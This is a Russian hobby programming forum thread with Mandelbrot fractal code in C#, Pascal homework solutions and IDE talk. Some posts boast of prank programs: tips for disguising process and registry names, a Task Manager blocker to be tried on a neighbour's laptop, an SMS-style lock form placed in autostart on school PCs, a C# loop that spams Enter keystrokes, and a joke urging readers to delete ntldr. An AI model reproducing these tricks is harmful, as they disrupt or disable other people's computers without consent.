double lX = 0;
double lY = 0;
double lX2 = 0;
double lY2 = 0;
double lTemp = 0;

while ((lIteration < pMaxIterationCount) && ((lX2 + lY2) < 10000.0))
{
lTemp = lX2 - lY2 + pX;
lY = 2 * lX * lY + pY;
lX = lTemp;
lX2 = lX * lX;
lY2 = lY * lY;
lIteration++;
}

return lIteration;
}

protected void CalculateLevels(
int[][] pArrays,
int pImageWidth,
int pImageHeight,
double pXMin,
double pXMax,
double pYMin,
double pYMax,
int pMaxIterationCount)
{
int lMaxImageXIndex = pImageWidth - 1;
int lMaxImageYIndex = pImageHeight - 1;
double lX = 0.0;
double lY = 0.0;
double lXExtent = pXMax - pXMin;
double lYExtent = pYMax - pYMin;
double lXFactor = lXExtent / (double)lMaxImageXIndex;
double lYFactor = lYExtent / (double)lMaxImageYIndex;
double lFactor = System.Math.Min(lXFactor, lYFactor);
int lPixelCount = pImageHeight * pImageWidth;
int lPixelPos = 0;

m_ProgressBar.Minimum = 0;
m_ProgressBar.Maximum = lPixelCount;
m_ProgressBar.Value = 0;

for (int j = 0; j < pImageHeight; j++)
{
lY = pYMin + (double)j * lFactor;

for (int i = 0; i < pImageWidth; i++)
{
lX = pXMin + (double)i * lFactor;

pArrays[j][i] = GetLevel(lX, lY, pMaxIterationCount);
lPixelPos++;
m_ProgressBar.Value = lPixelPos;
System.Windows.Forms.Application.DoEvents();
}
}
}

protected void CalculatePotentials(double[][] pArrays,
int pImageWidth,
int pImageHeight,
double pXMin,
double pXMax,
double pYMin,
double pYMax,
int pMaxIterationCount)
{
int lMaxImageXIndex = pImageWidth - 1;
int lMaxImageYIndex = pImageHeight - 1;
double lX = 0.0;
double lY = 0.0;
double lXExtent = pXMax - pXMin;
double lYExtent = pYMax - pYMin;
double lXFactor = lXExtent / (double)lMaxImageXIndex;
double lYFactor = lYExtent / (double)lMaxImageYIndex;
int lPixelCount = pImageHeight * pImageWidth;
int lPixelPos = 0;

m_ProgressBar.Minimum = 0;
m_ProgressBar.Maximum = lPixelCount;
m_ProgressBar.Value = 0;

for (int j = 0; j < pImageHeight; j++)
{
lY = pYMin + (double)j * lYFactor;

for (int i = 0; i < pImageWidth; i++)
{
lX = pXMin + (double)i * lXFactor;

pArrays[j][i] = GetPotential(lX, lY, pMaxIterationCount);
lPixelPos++;
m_ProgressBar.Value = lPixelPos;
System.Windows.Forms.Application.DoEvents();
}
}
}

protected void GetColorFromLevel(
int pLevel,
int pMaxIteration,
out byte pRed,
out byte pGreen,
out byte pBlue)
{
double lRatio = (double)pLevel / (double)pMaxIteration;

pRed = 0;
pGreen = 0;
pBlue = 0;

if ((lRatio >= 0) && (lRatio < 0.125))
{
pRed = (byte)(((lRatio - 0) / 0.125) * ((double)512) + 0.5);
pGreen = 0;
pBlue = 0;
}

if ((lRatio >= 0.125) && (lRatio < 0.250))
{
pRed = 255;
pGreen = (byte)(((lRatio - 0.125) / 0.125) * ((double)512) + 0.5);
pBlue = 0;
}

if ((lRatio >= 0.250) && (lRatio < 0.375))
{
pRed = (byte)((1.0 - ((lRatio - 0.250) / 0.125)) * ((double)512) + 0.5);
pGreen = 255;
pBlue = 0;
}

if ((lRatio >= 0.375) && (lRatio < 0.500))
{
pRed = 0;
pGreen = 255;
pBlue = (byte)(((lRatio - 0.375) / 0.125) * ((double)512) + 0.5);
}

if ((lRatio >= 0.500) && (lRatio < 0.625))
{
pRed = 0;
pGreen = (byte)((1.0 - ((lRatio - 0.500) / 0.125)) * ((double)512) + 0.5);
pBlue = 255;
}

if ((lRatio >= 0.625) && (lRatio < 0.750))
{
pRed = (byte)(((lRatio - 0.625) / 0.125) * ((double)512) + 0.5);
pGreen = 0;
pBlue = 255;
}

if ((lRatio >= 0.750) && (lRatio < 0.875))
{
pRed = 255;
pGreen = (byte)(((lRatio - 0.750) / 0.125) * ((double)512) + 0.5);
pBlue = 255;
}

if ((lRatio >= 0.875) && (lRatio <= 1.000))
{
pRed = (byte)((1.0 - ((lRatio - 0.875) / 0.125)) * ((double)512) + 0.5);
pGreen = (byte)((1.0 - ((lRatio - 0.875) / 0.125)) * ((double)512) + 0.5);
pBlue = (byte)((1.0 - ((lRatio - 0.875) / 0.125)) * ((double)512) + 0.5);
}
}

//
// Event handlers
//
}
}

и ехешник - прилагается, можно рассмотреть кое-какие детали
если понравится - можете посмотреть в гугле разные фракталы, там и видео есть, но самому как-то приятно по нему поползать) хоть там и не такая крутая детализация)
зы. самое интересное - на конце иглы =)


Прикрепленные файлы
Прикрепленный файл  Mandelbrot.rar ( 11.31 килобайт ) Кол-во скачиваний: 135

Автор: KALAPS Shtam8 13.11.2010, 20:32

Цитата(~IL~ @ 7.11.2010, 23:34) *

если вы хотите насолить опытному юзеру, придётся помаксимуму замаскировать его (ну, здесь уж кто на что горазд, главное, чтобы в процессах и в реестре название казалось безобидным=))

Зачем заморачиваться и пытаться выдумать безобидное название ? Не проще взять какое ни буть название из системы и продублировать его("наш любимый *.cmd") в другой системной папке ?

Автор: ~IL~ 13.11.2010, 23:20

Цитата(KALAPS Shtam8 @ 13.11.2010, 20:32) *

Зачем заморачиваться и пытаться выдумать безобидное название ? Не проще взять какое ни буть название из системы и продублировать его("наш любимый *.cmd") в другой системной папки ?

ну я же говорю, кто на что горазд))

Автор: KALAPS Shtam8 14.11.2010, 0:42

Ну создал я этот файл , проверил ... В итоге он не хочет выключатся через диспетчер задач , а точнее диспетчер не хочет открываться , что я сделал не так ? Вот этот злобный файл ...


Прикрепленные файлы
Прикрепленный файл  __________________.rar ( 1.42 килобайт ) Кол-во скачиваний: 103

Автор: ~IL~ 14.11.2010, 1:54

Цитата(KALAPS Shtam8 @ 14.11.2010, 0:42) *

Ну создал я этот файл , проверил ... В итоге он не хочет выключатся через диспетчер задач , а точнее диспетчер не хочет открываться , что я сделал не так ? Вот этот злобный файл ...

16.gif
вообще-то так и должно быть 54.gif

Автор: KALAPS Shtam8 14.11.2010, 2:13

Цитата(~IL~ @ 14.11.2010, 1:54) *

16.gif
вообще-то так и должно быть 54.gif

А почему тогда первый раз я смог его через деспетчер закрыть ?
И второй раз смог токо там в процессах много ----и осталось я задолбался её вырубать и перезагрузил ... Быстрее .
Пойду на ноуте соседа испытаю , автозапус и попкорн 18.gif

Автор: ~IL~ 14.11.2010, 11:27

Цитата(KALAPS Shtam8 @ 14.11.2010, 2:13) *

А почему тогда первый раз я смог его через деспетчер закрыть ?

видимо комп мощный, не успевает перегрузиться, поэтому говорю, надо усложнять код)

Автор: KALAPS Shtam8 14.11.2010, 12:56

Цитата(~IL~ @ 14.11.2010, 11:27) *

видимо комп мощный, не успевает перегрузиться, поэтому говорю, надо усложнять код)

Ну прям мощнее некуда - меганоут 06.gif

Автор: IwanS 14.11.2010, 12:59

А вы не пытайтесь ему помешать, в винде есть защита, он после нескольких (десятков) самозапусков закроется системой.

Автор: Ren_Dimon 22.11.2010, 0:16

ку всем! найдться у кого нибудь visual c++ express edition с кряком? програмить неначем(( у меня была visual c++ express edition 2006 но срок действия истёк((

Автор: IwanS 22.11.2010, 0:22

Ren_Dimon, шутник! Все инструменты серии Express Edition абсолютно бесплатны и свободно скачиваются с сайта Microsoft: http://www.microsoft.com/express/Windows/

Автор: Ren_Dimon 22.11.2010, 0:32

Цитата
свободно скачиваются с сайта Microsoft: http://www.microsoft.com/express/Windows/


ссылка не работает(

они требуют активации?

Автор: ~IL~ 22.11.2010, 1:34

Цитата(Ren_Dimon @ 22.11.2010, 0:16) *

ку всем! найдться у кого нибудь visual c++ express edition с кряком? програмить неначем(( у меня была visual c++ express edition 2006 но срок действия истёк((

ты под виндовс программируешь?
я просто когда С++ изучал - только в консольном приложении делал всё.
а потом на C# когда перешёл - уже под виндовс.
очень удобный язык.
компилятор SharpDevelop
простая работа с кнопочками, текстовыми полями, панельками и тд.
больше всего радует, что доступ к объектам класса или пространства имён осуществляется посредством точки, и из раскрывающегося списка можно выбрать) например забыл как функция называется, или не знаешь как точно называется, но представляешь как должна - вводишь первые буквы предполагаемого слова и тут же видишь - есть такое или нет.
при открытии скобки сразу выводятся возможные перегрузки функции, можно полистать и посмотреть, что она может.

Цитата(IwanS @ 14.11.2010, 12:59) *

А вы не пытайтесь ему помешать, в винде есть защита, он после нескольких (десятков) самозапусков закроется системой.

у меня чёт не закрывается) видимо надо очень долго ждать)
полюбому если это попадёт в автозагрузку и юзер не сможет удалить, то это мало чем отличается от зависания "навсегда". ты же не будешь каждый раз при загрузке компа ждать пол часа?)) это ещё в лучшем случае - если мощный комп)

зы. "...после нескольких десятков самозапусков..." - у меня их сотни))

зызы. иллюстрация к шарп девелопу здесь 40.gif


Эскизы прикрепленных изображений
Прикрепленное изображение Прикрепленное изображение

Автор: Ren_Dimon 22.11.2010, 1:54

вот скачал SharpDevelop сейчас им под виндовс програмирую)

но visual c++ express edition ваще вещь + к таму на руском она как SharpDevelop да и функций более. но блин ключ требует((

Автор: ~IL~ 22.11.2010, 9:25

Цитата(Ren_Dimon @ 22.11.2010, 1:54) *

но visual c++ express edition ваще вещь + к таму на руском она как SharpDevelop да и функций более.

ну хз, точно не могу сказать что лучше, так как не кодил на вижал С++.
а насчёт количества функций, это смотря сколько неймспейсов подключишь))
там вверху набери using sistem. и увидешь дофига всего) и в каждом этом неймспейсе куча функций, смотря для чего тебе надо...
ещё такая тема, внизу есть вкладка Source и Design.
когда находишься в Design - на верху в панели меню там можно выбрать View-Tools
и появится фигнюшка с инструментами слева, там можно выбрать Windows Forms и перетащить какие-то элементы в форму, но там не только Windows Forms есть...
когда перетащил элемент, на форме двойным кликом по нему ты перейдёшь на функцию, которая обрабатывает событие, связанное с этим объектом.
например кликаешь по кнопочке и у тя сразу в коде появляется функция
void Button1Click(object sender, EventArgs e)
{

}
и уже туда можешь прописывать чё те надо, чтобы оно происходило по нажатии на кнопку
вобщем всё очень удобно)
правда сам я в C# не очень опытный, но всегда готов помочь, чем смогу)))
ну и мне есть у кого спросить если что...

Автор: IwanS 22.11.2010, 13:36

~IL~, это базовый функционал всех приличных сред разработки, здесь нечем хвастаться. А вот то что Visual Studio на порядок функциональнее - это факт.

Насчет ссылки - она у меня работает, если что-то у вас не работает - ваши проблемы. Насчет ключа, повторюсь, прога бесплатная.

Автор: Dukat863 23.11.2010, 13:52

Цитата(~IL~ @ 22.11.2010, 1:34) *

больше всего радует, что доступ к объектам класса или пространства имён осуществляется посредством точки, и из раскрывающегося списка можно выбрать) например забыл как функция называется, или не знаешь как точно называется, но представляешь как должна - вводишь первые буквы предполагаемого слова и тут же видишь - есть такое или нет.
при открытии скобки сразу выводятся возможные перегрузки функции, можно полистать и посмотреть, что она может.

У меня на моём Visual Studio 2005 пиратко edition то-же самое

Автор: икзишен 23.11.2010, 19:37

Люди кто поможет решит задачи? Я уже запарился над ними думать(Pascal)


показать офф-топ
1) Даны действительные массивы А(n) и B(n) подсчитать кол-во элементов, которые принадлежат условию: A(1)>B(1)

2) Дан массив A(n,m) требуется определить:
максимальное по величине число
минимальное по величине число
среднее арифметическое элементов столбцов имеющих нечетные номера

Автор: Dukat863 24.11.2010, 15:56

Цитата(икзишен @ 23.11.2010, 19:37) *

Люди кто поможет решит задачи? Я уже запарился над ними думать(Pascal)

Помог бы, знал бы паскаль (Я C++/GML)

Автор: AlexZ 24.11.2010, 16:07

Народ, кто шарит в Маткаде? Нужно длинную формулу записать с подстановкой чисел, ну и чтобы Маткад её решил. Я пытался вручную, но уж очень тяжко и в конце получается комплексное число из-за отриц. корня (а этот курс я забыл уже 31.gif ), к тому же перед корнем стоит знак +-, в следствии решения должно получится четыре ответа. Если кто-то сможет помочь, я скину фото примера (уже всё подставлено в уравнение). Желательно сделать это сегодня.
Заранее спасибо.

Автор: Avenger 28.11.2010, 11:22

Товарищи, как в создании страницы при помощи HTML сделать фон не цвет, а рисунок. То есть у меня есть картинка, нужно её сделать фоном страницы. Какие для этого нужно использовать теги, и если можно маленький пример.

Автор: IwanS 28.11.2010, 17:06

Avenger, http://cncfile.ru/a/test.zip

Автор: Avenger 28.11.2010, 17:46

Цитата(IwanS @ 28.11.2010, 17:06) *

Avenger, http://cncfile.ru/a/test.zip

Ага, спасибо! Теперь понятно. Нам в универе задали создать простенькую страничку.

Автор: ~IL~ 29.11.2010, 2:35

Цитата(икзишен @ 23.11.2010, 19:37) *

Люди кто поможет решит задачи? Я уже запарился над ними думать(Pascal)
показать офф-топ
1) Даны действительные массивы А(n) и B(n) подсчитать кол-во элементов, которые принадлежат условию: A(1)>B(1)

2) Дан массив A(n,m) требуется определить:
максимальное по величине число
минимальное по величине число
среднее арифметическое элементов столбцов имеющих нечетные номера


первая задача
показать офф-топ

program massiv;
var
n, i, sum: integer;
A, B: array[1..100] of integer;

begin
write('input the size of arrays:'); readln(n);
writeln('input values of A:');
for i := 1 to n
do
begin
write('A[',i,'] = '); readln(A[i]);
end;
writeln('input values of B:');
for i := 1 to n
do
begin
write('B[',i,'] = '); readln(B[i]);
end;
if ((0 < n) and (n < 101))
then
begin
sum := 0;
for i := 1 to n
do
if (A[i] > B[i])
then
sum := sum + 1;
writeln('A[i] > B[i] ', sum,' times')
end
else
writeln('error in size');

readln
end.


во второй задаче не понятно где столбцы - пускай это будут n
показать офф-топ

program massiv;
var
n, m, i, j, sum, tot, min, max: integer;
A: array[1..100, 1..100] of integer;

begin
write('input the size of array (n):'); readln(n);
write('input the size of array (m):'); readln(m);
writeln('input values:');
for i := 1 to n
do
for j := 1 to m
do
begin
write('A[', i, ', ', j, '] = '); readln(A[i, j]);
end;
if ((0 < n) and (n < 101) and (0<m) and (m<101))
then
begin
sum := 0;
tot := 0;
max := A[1, 1];
min := A[1, 1];
for i := 1 to n
do
for j := 1 to m
do
begin
if (A[i, j] > max)
then
max := A[i, j];
if (A[i, j] < min)
then
min := A[i, j];
if (i mod 2 = 1)
then
begin
sum := sum + A[i, j];
inc(tot);
end
end;

writeln('max value = ', max);
writeln('min value = ', min);
writeln('Arithmetic average = ', sum/tot:0:2);
end
else
writeln('error in size');

readln
end.

Автор: ~IL~ 29.11.2010, 3:14

Цитата(IwanS @ 22.11.2010, 13:36) *

~IL~, это базовый функционал всех приличных сред разработки, здесь нечем хвастаться. А вот то что Visual Studio на порядок функциональнее - это факт.

на время написания поста у меня было слабо развито понятие "среда разработки"
сейчас я разобрался... правда, конечно, не пойму что лучше психологически, быть уверенным и заблуждаться, либо сомневаться, но быть ближе к истине?)))

Автор: Diamond00744 1.12.2010, 22:53

Цитата
Diamond00744, это не серьезно. Какие-то 4 неизвестных антивируса детектят эвристикой чего-то невнятное (причем обрати внимание - одно и то же, скорее всего одни и те же базы кроме нормана) - это даже смотреть не стоит . Если касперский + дрвеб + нод32 + аваст ничего не видят - все норм.

Решил зайти в папку с прогой, она увеличилась на 50 кб + обнаружился вирус... Agent какой-то... Удалил. Решил переотправить файл на VirusTotal (старую версию, где обнаружилось 13). В этот раз уже 14.

http://www.virustotal.com/file-scan/report.html?id=da58704920839cdf26bf3b907cb274244b5de9544640f3f02ca1a6338115df06-1291232614

Подскажите, можно ли прогу с такими результатами размещать в Инете дальше?

Автор: Dukat863 4.12.2010, 19:32

Решил я скачать http://www.codeproject.com/KB/audio-video/DirectSoundAudioStream.aspx пример. Попробовал -> понравилось -> скачал. Решил скомпилировать, а он требует файл dmusici.h

Такого файла у меня в DirectX SDK 9 нету, поэтому решил заменить на с подобным названием, не получилось.
Можете объяснить что это за файл, и где его взять (Или найдите другой потоковый плеер wav файлов)

Заранее спасибо.

Автор: Avenger 4.12.2010, 20:40

http://www.koders.com/cpp/fid8FD7825572AF9EBB804FE8A6439B1E221786E691.aspx полностью изложено содержимое файла dmusici.h (1961 строка 29.gif ).


Прикрепленные файлы
Прикрепленный файл  dmusici.rar ( 17.6 килобайт ) Кол-во скачиваний: 208

Автор: Dukat863 5.12.2010, 15:02

Спасибо, помогло (Там-же нашёл ещё header'ы).

Автор: ~IL~ 4.5.2011, 15:05

недавно написал 2 программки.
может быть кому-то понравятся))
правда они не доработаны, но если кому нужен исходник - всегда пожалуйста.
player.exe - кидаете в папку с музыкальными файлами, запускаете и вся эта музыка проигрывается (идею подкинул мой друг)).

у меня постоянно возникают ситуации аля "поставил чайник, сел за комп, через час пришёл на кухню и за толщей пара не можешь увидеть где чайник". я написал программку - будильник. вы можете ставить любую музыку, которая у вас есть на этот будильник. пока только в формате мрз и вав. (timer.exe).


Прикрепленные файлы
Прикрепленный файл  timer.rar ( 2.07 мегабайт ) Кол-во скачиваний: 138
Прикрепленный файл  player.rar ( 3.83 килобайт ) Кол-во скачиваний: 131

Автор: GraYaSDF 4.5.2011, 19:51

Я все еще пользуюсь будильником, написанным мной для сайта C&C радио 31.gif
Запущу шутер и рублюсь, а как завоет сигнализация, тут же срываюсь с места и бегом чайник снимать)))

P. S.: Что ни говори, но сигнализация - лучший будильник, вставляет моментально (только не для эпилептиков, конечно).

показать офф-топ

Автор: Dukat863 4.5.2011, 20:08

Цитата(GraYaSDF @ 4.5.2011, 20:51) *

показать офф-топ


Хороший будильник (у меня прямо с его срабатыванием торрент скачался!!!)...

Автор: Diamond00744 7.5.2011, 20:26

А сюда не программирование, а простой формострой можно скидывать?

Автор: IwanS 7.5.2011, 20:28

Diamond00744, а он имеет какую-то практическую ценность или это просто формочка без функций?

Автор: Avenger 7.5.2011, 20:37

Цитата(~IL~ @ 4.5.2011, 15:05) *

правда они не доработаны, но если кому нужен исходник - всегда пожалуйста.

О, круто, скинь мне плиз исходники в ЛС. 54.gif

Автор: Dukat863 7.5.2011, 21:45

Цитата(Diamond00744 @ 7.5.2011, 22:41) *

IwanS, (ссылку удалил - Dukat863)

Прикрепленное изображение
И что я с этим должен делать?
показать офф-топ
Из-за этого вируса даже винты форматируют

Автор: Diamond00744 7.5.2011, 21:48

Что за...
Опять чтоли?

Тогда нужна помощь) Может ли это наделать UPX?

Автор: Dukat863 7.5.2011, 22:02

Используй WinRar, а не всякий virUs Packer for eXecutables.

Автор: Diamond00744 7.5.2011, 22:03

Стоп... зацените результаты:

http://www.virustotal.com/file-scan/report.html?id=557b6945a097d609ab25d2fdc34831c2af3f8dac0b584158ca3f225b34862d57-1304794510

Автор: Dukat863 7.5.2011, 22:06

У меня кстати та-же версия что и там.
Лучше запакуй в rar, а не UPX

Автор: Diamond00744 7.5.2011, 22:08

Dukat863, может, просто он у тебя настроен на "оповещение о догадках"

А ссылку восстанавливаю:

показать офф-топ
http://bit.ly/diamond00744_1


UPD: программу переписал на Delphi, попробуйте. Файл перезалит.

Автор: ~IL~ 11.5.2011, 18:19

Цитата(IwanS @ 10.6.2010, 23:12) *

Нет, он дает дурные привычки типа не надо инициализировать переменные значениями. Дело ваше, я не рекомендую начинать с паскаля. С++ лучше для новичков и профессионалов. Это базовый язык современности.

+1 и переучиваться не придётся.
я уже не помню говорил или нет, что наш препод по С++ сказал, что, зная С++ легко освоить любой язык очень быстро. это правда, я проверял))

Автор: Diamond00744 24.5.2011, 0:20

Школьные компьютеры нужны только для экспериментов 18.gif

В школе был установлен Delphi. Я там создал формочку типа "отправьте СМС туда-то" и поместил в автозагрузку... Что случилось потом - узнаете в следующей, 197-й серии

Автор: ~IL~ 24.5.2011, 14:23

Цитата(Diamond00744 @ 24.5.2011, 1:20) *

Школьные компьютеры нужны только для экспериментов 18.gif

В школе был установлен Delphi. Я там создал формочку типа "отправьте СМС туда-то" и поместил в автозагрузку... Что случилось потом - узнаете в следующей, 197-й серии

надеюсь, её нельзя было закрыть через диспетчер задач?)))
18.gif

Автор: Diamond00744 24.5.2011, 22:34

Можно. Но зачем они мастеров вызвали, непойму...
18.gif

Автор: ~IL~ 25.5.2011, 1:24

Цитата(Diamond00744 @ 24.5.2011, 23:34) *

Можно. Но зачем они мастеров вызвали, непойму...
18.gif

06.gif
facepalm2.gif

Автор: samohin 9.6.2011, 20:46

Цитата(Diamond00744 @ 24.5.2011, 22:34) *

Можно. Но зачем они мастеров вызвали, непойму...
http://xn--90aif0abnp4f.xn--p1ai/


Тут всё понятно. Если вызывают мастеров, значит сами ничего не понимают. Но мы, молодые люди понимаем намного больше них 54.gif

Автор: ~IL~ 11.6.2011, 0:45

сегодня у меня случилась смешная ситуация, я подумал, что мой комп ошалел хДД
когда я понял в чём дело - поржал)) и решил написать прогу, чтобы пост-----ся над кем-нибудь.
но сначала получилось не совсем удачно... пакость сделать удалось, но немного не таким способом, каким я ожидал... со второго раза я написал прогу, которая в большой степени удовлетворяет моему первому замыслу.
итак... кидаю 2 ехешника.
запустите первый, комп может начать лагать. ваша задача - вырубить эту прогу не перезагружая комп. у меня с первого раза не получилось)).
запустите второй - ваша задача определить что написано в исходнике по симптомам)). хотя по сути в исходниках обоих файлов написано одно и то же).

зы. проги абсолютно никакого вреда не наносят. ничего не удаляют и никуда не залезают можете быть уверены) исходники потом). кстати в исходниках всего пара строчек написано).


Прикрепленные файлы
Прикрепленный файл  ____________.rar ( 5.21 килобайт ) Кол-во скачиваний: 108

Автор: IwanS 11.6.2011, 9:02

Они что, все время посылают enter в системный поток сигналов? О_о Кроме того, они вроде бы управляют позиционированием курсора, хотя это может быть взаимосвязано.

Кстати, жнецовый метод борьбы с первой прогой - чуток подождал, у меня система сняла приоритет с этого процесса и я в обычном режиме его закрыл. Остальные копии не имеют возможности воздействовать на ОС, только первая запущенная.

Автор: ~IL~ 11.6.2011, 11:14

Цитата(IwanS @ 11.6.2011, 10:02) *

Они что, все время посылают enter в системный поток сигналов? О_о Кроме того, они вроде бы управляют позиционированием курсора, хотя это может быть взаимосвязано.

Кстати, жнецовый метод борьбы с первой прогой - чуток подождал, у меня система сняла приоритет с этого процесса и я в обычном режиме его закрыл. Остальные копии не имеют возможности воздействовать на ОС, только первая запущенная.

24.gif
всё правильно 54.gif
насчёт курсора я никакого кода не писал, он видимо сам от тормозов двигаться не хочет.

исходник 1 проги:
показать офф-топ

public MainForm()
{
InitializeComponent();
while (true)
SendKeys.SendWait
("{ENTER}");
}


2:
показать офф-топ

public MainForm()
{
InitializeComponent();
timer1.Start();
}
void Timer1Tick(object sender, EventArgs e)
{
SendKeys.SendWait("{ENTER}");
}


короче у меня случилось следующее - я захотел пропинговать qip.ru, ввёл в командной строке ping qip.ru и нажал Enter, ну там показался пинг и потом много раз начала появляться запись:
C:\Documetns and Settings\Admin>
C:\Documetns and Settings\Admin>
C:\Documetns and Settings\Admin>
C:\Documetns and Settings\Admin>
...
я сразу не допёр в чём дело и тупо закрыл командную строку.
потом открыл пуск и начали запускаться рандомные программки, нажал на папку, она открылась 4 раза)), опять нажал пуск - меня выбросило из системы, и там можно было выбрать - выключить комп, либо войти в систему, я вхожу, но он опять творит нечто)), я опять нажимаю пуск, чтобы выключить (почему-то только потом догадался нажать Alt+F4), опять выкинуло из системы, там я нажал выключить, но он перешёл в ждущий режим)).. когда включил - опять появилось окно выхода из системы, я вошёл и опять сами собой начали открываться программки. я уже начал думать - не подшутил ли надо мной кто?)) или может вирус))... потом короче смотрю на клавиатуру, а там Enter запал))) хДД вот я чуть со стула не упал от смеха)))

Автор: Блекхенд из эрайв 11.6.2011, 12:01

Цитата(~IL~ @ 11.6.2011, 1:45) *

сегодня у меня случилась смешная ситуация, я подумал, что мой комп ошалел хДД
когда я понял в чём дело - поржал)) и решил написать прогу, чтобы пост-----ся над кем-нибудь.
но сначала получилось не совсем удачно... пакость сделать удалось, но немного не таким способом, каким я ожидал... со второго раза я написал прогу, которая в большой степени удовлетворяет моему первому замыслу.
итак... кидаю 2 ехешника.
запустите первый, комп может начать лагать. ваша задача - вырубить эту прогу не перезагружая комп. у меня с первого раза не получилось)).
запустите второй - ваша задача определить что написано в исходнике по симптомам)). хотя по сути в исходниках обоих файлов написано одно и то же).

зы. проги абсолютно никакого вреда не наносят. ничего не удаляют и никуда не залезают можете быть уверены) исходники потом). кстати в исходниках всего пара строчек написано).


ОГА)) Щас займусь этим добровольным гемороем)))
Сделаем проще! Откройте тоталкомандером диск С: и удалите или измените файл ntldr - есле у вас виндоус хр)) что при этом произойдёт пишите! очень интригующе

Автор: Dukat863 11.6.2011, 13:01

Цитата(IwanS @ 11.6.2011, 10:02) *

Кстати, жнецовый метод борьбы с первой прогой - чуток подождал, у меня система сняла приоритет с этого процесса и я в обычном режиме его закрыл. Остальные копии не имеют возможности воздействовать на ОС, только первая запущенная.

Я нажал Win+L, и после этого программа перестала работать. Я её закрыл диспетчером задач.
У меня запустился только один экземпляр, так-как я файл прямо из архива в тотал коммандере запускал (там открывается окошко с информацией о файле и 3 кнопки: закрыть окно (по умолчанию), распаковать только этот файл и запустить, распаковать все файлы и запустить выбранный файл (потом открывается ещё окошко, при закрытии которого удаляются временные файлы))

Автор: Diamond00744 21.6.2011, 0:54

Всем хай)
http://www.cncseries.ru/modules.php?name=News&file=article&sid=1412
Оцените пожалуйста с т.з. этой темы 54.gif

показать офф-топ
Исходники в свободном доступе - друг программиста (по крайней мере начинающего)


Автор: NBomb 21.6.2011, 1:01

Цитата(Diamond00744 @ 21.6.2011, 0:54) *

показать офф-топ
Исходники в свободном доступе - друг программиста (по крайней мере начинающего)


показать офф-топ
Исходники для программиста, это как тибериум для скринов - приманка. 16.gif

Автор: ~IL~ 30.11.2011, 20:07

недавно написал прогу, которая считает MD5 введённого текста.
может кому пригодится)


Прикрепленные файлы
Прикрепленный файл  HCMD5.rar ( 3.19 килобайт ) Кол-во скачиваний: 83

Автор: IwanS 30.11.2011, 20:16

~IL~, всмысле вручную, что ли? Или с помощью штатной функции?

Автор: ~IL~ 30.11.2011, 20:17

Цитата(IwanS @ 30.11.2011, 20:16) *

~IL~, всмысле вручную, что ли? Или с помощью штатной функции?

делать мне чтоли нечего?)) вручную писать)
просто мне понадобилась такая прога, а онлайн считать неохота). ну естественно там использована стандартная функция.

Автор: Dukat863 16.3.2012, 15:32

Код
void блаблабла(string message)
{
    char* msg = new char;
    strcpy(msg, message.c_str());
    //Любая строчка, которая принимает char*
    delete msg;
}
Особенно доставляет, когда этот код используется для вывода отладочного сообщения, во время поиска проблемы вылета (которая происходит именно из-за этого кода).
А всё начиналось с загрузки файла...

Автор: IwanS 16.3.2012, 15:52

Любая функция, требующая для работы char*, byte[] и прочее извращение - ересь! Если функция предполагает работу с текстом, то пусть она принимает string!

Автор: Psionic 20.3.2012, 19:25

Цитата(IwanS @ 16.3.2012, 15:52) *

Любая функция, требующая для работы char*, byte[] и прочее извращение - ересь! Если функция предполагает работу с текстом, то пусть она принимает string!

Не факт, понимаеш в чем дело, string не единственній тип для работы со строками - из чуть более чем дофига, как ты планируеш достигать унификации? Тут на помощ и приходят char/wchar_t массивы. 31.gif

Пишу на С/С++/asm X86 (для души), objective C (на работе), ненавижу этот язык.
[url] http://www.rapidshare.ru/2796534 [/url] вот игра пазман написанная мною для конкурса XPN - 2011 (сорци в комплекте), если кому интересно выложу и работу для 2012 года (после прошествия конкурса лутше), обе работы стали достойными чтобы меня пригласили в финал.

Автор: IwanS 20.3.2012, 20:38

Psionic, string - не единственный, но самый православный тип для работы со строками. Точно так же как int, double, bool и т.п.

Пишу на C#, Java, PHP и боюсь char* как огня.

P.S: забавная игра, мне понравилась )

Автор: Dukat863 20.3.2012, 21:49

string это класс, содержащий тот-же самый char*, функции с понятными названиями, и переопределёнными операторами + и [].
Чтобы к примеру дописать к одному char* другой, приходится пользоваться функцией кактамеёзовут(). У string вызываются функция +.

Если бы функции для работы с char* были нормально названы...
[/капитан]

Автор: Psionic 20.3.2012, 22:34

Цитата
Пишу на C#, Java, PHP и боюсь char* как огня.

Ну чтож, раз боишся значит плохо знаеш 18.gif . Попробуем разьснить свойства char для случая С++, и так
char это тип занимающий один байт и для безнакового случая способный следовательно хранить в себе число от 0..255, но в частных случаях некоторые числа трактуются как символы, чтоб понять, даю пример:
Код

#include <iostream>
int main()
{
char T=0;//именно 0 а не '0'(символ нуля)
do
{
std::cout<<T<<" "<<(int)T<<std::endl;
T++;
}
while(T)
return 0;
}

Для хранения строк в этом типе используют массивы (char[]), конец строки заканчивается нулем (именно арифметическим, а не символом 0, смотреть понятие нультерминированая строка), char * (то что ты назвал), это указатель на первый элемент массива, конец строки это ноль.

Можеш написать код где будет:
Код

char text[]="some text";
char *pText=&text[0];//можеш поиграть с индексом, увидеш что будет, также можеш случайному елементу text присвоить NULL, тоже поймеш что к чему
printf("text %s", pText);

Все не так сложно как кажется, хотя в реальных проектах всеже исплользуют классы-строки, так как они содержат уже доступные методы-манипуляции и что немаловажно их можно переопределить под нужды конкретного проекта. 20.gif

Автор: IwanS 21.3.2012, 7:55

facepalm2.gif Вы меня за идиота держите или думаете, что проучившись 4 года по специальности инженер-программист - я этого не знаю?

Я всего лишь сказал, что не люблю все эти извращения с не-string-овыми типами строк и прав по той причине, что названа выше - неудобно с ними работать.

Psionic, если ты внимательно посмотришь мое сообщение (желательно дважды), ты поймешь, что я программирую на C#, Java и PHP. Причем, C# основной. Если ты хоть раз работал на этом языке, ты должен знать, что строки тут можно хранить либо как string, либо как byte[]. Я не виноват в том, что в плюсах все сделано через одно место, однако плюсы - это не весь мир и КОЕ-ГДЕ с текстовыми типами данных все в порядке. Выводы можете сделать сами...

P.S: пардон за пост, но прежде чем учить других, убедитесь, что вашей квалификации на это хватает и вы действительно понимаете, о чем идет речь.

Автор: ~IL~ 21.3.2012, 13:21

Цитата(IwanS @ 21.3.2012, 7:55) *

Вы меня за идиота держите или думаете, что проучившись 4 года по специальности инженер-программист - я этого не знаю?

Изображение
trollface.png

Автор: Psionic 22.3.2012, 1:14

IwanS
Да не кипятись ты так, я не хотел тебя задеть 29.gif , просто с определенных пор я часто замечаю что люди теряют из виду или не догадываются о смысле довольно простых вещей, после того как мне на работе пришлось обьяснять пару такого колегам.

